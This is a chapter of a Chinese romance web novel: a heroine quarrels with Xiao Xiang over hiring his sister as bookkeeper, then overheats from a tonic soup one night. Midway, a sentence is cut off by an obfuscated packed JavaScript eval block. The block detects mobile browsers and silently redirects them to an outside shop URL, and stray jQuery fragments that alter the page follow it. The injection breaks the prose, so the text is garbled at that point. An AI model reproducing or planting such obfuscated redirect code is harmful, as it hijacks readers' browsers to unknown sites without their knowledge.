秦:“凭什么不行,妹妹都十六了,是你说不行就不行么?”
秦万春的脾气也上来了,指着山一样的笨熊一脸不服输。
萧:“她可以做杂役,但是不能做账房。”
萧襄闷了半天,自以为让步的嘟囔了一句。
秦:“我不缺杂役,我现在就想要账房。”
萧:“她不行。”
秦:“凭什么不行!”
两人你一句我一句,话题的中心人物李忆萧抬着大眼睛,一会看看自家大哥,一会瞅瞅未来大嫂秦万春,
很急,
但又不知道该从哪里插一嘴。
秦万春被这只笨熊绕得头疼,她最讨厌的就是这种临门一脚,却被横插一道的感觉。
在上个世界经历多了,这一世再遇上多少会有些应激。
“我不想和你说话了。”
秦万春扔下这句话就走了,她想的很简单,
笨熊不让她做,那她等笨熊不在家的时候做不就好了,
活人不能被尿憋死,
这条路不通她就换一条。
可就苦了萧襄,本就是个直脑筋,一听到这话整个人就像是被霜打的茄子,蔫巴巴的不成样子,
秦万春离开了好一会,他还垂着头不知在想些什么。
“哥。”
李忆萧拉了拉萧襄的衣袖,他才缓过神来。
“你为什么不让我去嫂子那做账房,是怕我做不好么?”
萧襄低头看着自家妹妹,他敢说这世界上再也没有比他妹妹更适合的人了,
“不是,秦家刚送了这么大的礼,你就进了秦家做账房,好像我们家都趴在秦家身上吸血似的,让人笑话。”
其实,还有一点萧襄不好意思和小朋友说,
那就是他们还没有圆房,自己也没被正式收进院里,
名不正言不顺的,
再加上今天他才知道,原来秦小姐与萧将军府有婚约,
虽然萧将军府已不复存在,可爹娘从小就教育他,萧将军府对他们有大恩。
也许小姐迟迟不肯收他进院,就是在等这场婚约吧。
总不能正房还没进门,他这个偏房就先进院吧。
“可是嫂子挺生气的,你要不要去哄哄?”
李忆萧看着哥哥一副若有所思,但又思不明白的样子,赶紧把话题拐到正轨上。
萧:“你别乱叫,秦小姐是什么身份,怎么能由着咱们家乱攀关系。”
李忆萧有些懵懵的,
刚才也不知道是谁,一副小两口拌嘴的模样,怎么现在突然不让乱攀关系了,
真是两副嘴脸哦。
秦万春是说到做到,说不想和萧襄说话,就真的一晚上没和他说话。
主要是她今晚真的很忙,
酒楼已经基本布局,接下来就等着装修和员工培训,事情不多但都琐碎,秦万春这才有了些上个世界工作的尽头,一直忙到夜深。
刚带着一身困意想要睡下,可身体却燥热的像是掉进火盆里。
[统宝统宝,我是不是中毒了,我怎么这么热。]
这种热并不同于天气的炎热,而是一种由内到外的奇怪的热。
【我检查一下奥...没有中毒,】
【我这里有紧急避险系统,你要是碰倒有毒的东西会有警报的。】
[那我怎么这么热?穿太多了么?]
秦万春把衣领向下拉了拉,身体碰倒微凉的空气,顿时激起一层鸡皮疙瘩。
不对劲,还是很热。
秦万春拨开窗帘,对着床下守夜的汀兰问道,
“汀兰你热么,我怎么这么热啊?”
汀兰抬起眼,看着秦万春浑身上下都烧成了淡粉色,抽了抽嘴角回答道,
“冰是新换的,小姐要不要喝点冷酒?”
秦:“要喝要喝,再帮我备点水,出了一身汗等下要洗洗。”
汀兰的脸色有些阴沉,欲言又止,止了又想言,最后还是退下了。
不多时就听见门口珠帘哗啦啦的响声,秦万春以为是汀兰回来了,就大剌剌的拉开床帘,
“你回...”
话还没说完就被她卡在喉咙里,门口进来的那里是汀兰小呆猫,而是一片黑压压的身影,
那身影越来越近,在她身上罩下一片影,烛火摇曳,他的影子也跟着在抖。
“你怎么来了,汀兰呢?”
秦万春缩回帘子里,不想同这只笨熊说话。
“她去备水了,让我送进来。”
萧襄的手里稳稳拖着一个盘子,里面是一壶冷酒和两个小巧的酒杯。
“夜深了,少喝些吧,不然明天头疼。”
萧襄嘴上劝着,却还是帮秦万春倒好一杯酒,递到床帘前。
“我又不是酒鬼,我就是觉得今晚好热。”
秦万春嘟囔着接过酒杯,可还不等放到唇边,就被一双宽大有力的手夺了回去,
秦:“你干嘛!”
萧襄的手很稳,虽夺得急却一滴没有撒出来,只是事出突然吓了秦万春一跳。
萧:“你不能喝酒,你热是因为中午喝了太多李姨的补汤,现在喝酒只会更热。”
补汤?
那汤甜丝丝的好喝,秦万春确实贪嘴多喝了几碗,可没曾想真这么补啊,
真材实料啊。
秦:“那你还给我喝。”
秦万春从来不内耗,有问题直接推到别人身上。
萧:“你想喝,我不能拦着。”
秦:“那你今天还拦着我,不让你妹妹给我做账房。”
话题又被秦万春绕了回去,她虽不是个记仇的,可她现在真的很缺一个账房。
萧:“已经让她找管家签文书了,管家说先带着她学几天,等酒楼营业她就可以接手了。”
秦:“什么时候的事。”
秦万春没想到这只倔熊竟然真的妥协了,高兴地一把掀开床帘,丝毫没有意识到自己只穿着一件薄纱亵衣。
这就苦了萧襄了,眼睛飘来飘去几乎要翻出眼眶,也不知能落在哪里。
秦:“什么时候的事,你不是不同意么?”
萧:“你自己回府后,我就带着忆萧找管家了,今晚你太忙了,我本来想明天告诉你。”
Yes!
终于又解决了一件大事!
现在就差开张啦!
秦万春满心都是即将进账的喜悦,丝毫没有意识到,自己整个人都快靠到萧襄身上去了。
萧襄身上还带着夜晚的凉气,这对一个正燥热得心烦的人,简直是天然的诱捕器。
还不等秦万春把这份喜悦分享出去,就觉得肩膀上吧嗒一湿,像是有什么液体落了下来,<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17715133|208181||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
她茫然的抬起头,顿时惊得瞪大了眼睛,
“萧襄萧襄,你的鼻子流血了!”
萧襄呆呆的擦了一下鼻子,满手温热的血气,这才反应过来自己的失态。
秦万春也有些着急,心想这汤实在是太补了,
等酒楼开张可一定要把这份汤撤下去,或者换个配方也行,
不然食客们吃出问题怎么办,食品安全要到位啊。
她随手抽出一张手帕,堵在萧襄鼻子上,萧襄只觉得整个鼻腔都是浓郁的芍药香,在失血与香气的共同作用下,他整个人都有些飘飘然。
秦:“感觉今晚不用睡了,早知道这么补就少喝点了。”
秦万春的肩头落了一片红,萧襄的胸襟前也是一片狼藉,
原本暧昧的春宵,倒被两人弄得像案发现场似的。
“汀兰,帮我拿件新亵衣,再帮萧襄拿一件。”
汀兰像是早有准备,话音刚落就拖着两件新衣服进来,目不斜视的放在一旁案上,
汀:“小姐,唤水么?”
秦:“唤,我马上过去。”
汀兰动作极快的退了出去,像是晚一秒就有人要火烧她的小尾巴似的。
秦:“我要去沐浴,你也回房处理下吧。”
萧:“我...我能用你剩下的水么?”
嗯?
剩下的水?
节约用水,人人有责,
不错不错,好品质。
“可以啊,那我先去洗。”
秦万春摆摆手,一副完全不在意的样子,倒是小系统听不下去了,
【宿主,你不觉得你们有些暧昧了么?】
[怎么暧昧了?]
【你们用一桶洗澡水哎,这和一起沐浴有什么区别。】
当然有区别,一起洗多挤啊,也不知道萧襄那么大一坨人,有没有合适的浴桶,
呸呸呸,怎么又跑题了。
[你想多了吧,烧一锅水我又用不完,他捡点剩下的怎么了。]
好吧宿主,你开心就好,
小系统窝窝囊囊的没了动静。
等萧襄沐浴回来,秦万春已经困得迷迷糊糊了,模糊中看着他端过来一盆冰,又坐在她床头轻轻扇着扇子,阵阵凉风好不惬意。
“你回去睡吧。”
秦万春说话也是含糊不清的,
“你不会要帮我扇一晚上风吧。”
萧襄没有回答是还是不是,只是替她拉了拉薄蚕丝被,低声哄着,
“睡吧,你睡熟了我就回去。”
秦万春不老实的从被窝里伸出手,顺着他的衣袖摸了进去,掐了掐他胳膊上结实的肌肉,
秦:“你身上好冷,是洗的冷水澡么?”
萧:“浴桶里花香太重了,我又洗了一遍散散味道。”
秦:“是芍药花,好闻吧。”
萧:“好闻。”
秦万春又含糊的说了些什么,萧襄也很有耐心的一一回应着,直到房间里只剩下她规律绵长的呼吸声。
夜深了,窗外偶尔传来几声蝉鸣,尖锐的刺破黑夜。
萧襄很安静的看着床上睡熟的人,他的眼睛里没有什么情绪,他自小就被训练成这样的性格,无论对什么都不能有过于强烈的反应。
他只是看着,一眨不眨的看着,
直到天光大亮。